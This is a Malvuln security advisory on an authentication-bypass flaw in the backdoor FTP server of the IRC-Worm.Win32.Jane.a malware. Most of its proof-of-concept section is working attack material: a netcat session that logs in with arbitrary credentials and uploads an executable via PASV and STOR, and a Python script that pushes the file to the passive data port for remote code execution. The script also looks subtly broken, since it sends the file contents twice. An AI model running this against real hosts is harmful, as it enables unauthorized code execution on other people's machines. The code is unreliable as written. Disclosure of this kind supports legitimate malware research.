Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2d1d6b0fd55eca12f58b8b6d80f8153f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: IRC-Worm.Win32.Jane.a
Vulnerability: Authentication Bypass RCE
Description: The backdoor FTP server listens on TCP port 21, upon connecting the server responds with banner "JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ...   ; )" making it easily identifiable. Adversaries, who can reach the infected host can logon using any arbitrary username password combination. Attackers may then upload executables using PASV, STOR commands which can result in remote code execution.
Type: PE32
MD5: 2d1d6b0fd55eca12f58b8b6d80f8153f
Vuln ID: MVID-2021-0151
Disclosure: 03/29/2021


Exploit/PoC:
nc64.exe 192.168.88.128 21
220 JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ...   ; )
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,88,128,194,82).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.88.128"
#Calculate Server Port 194*256+82 = 49746
PORT=49746
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("IRC-Worm.Win32.Jane.a / Auth Bypass RCE")
    print("MD5: 2d1d6b0fd55eca12f58b8b6d80f8153f")
    print("By Malvuln");

if __name__=="__main__":
    doit()



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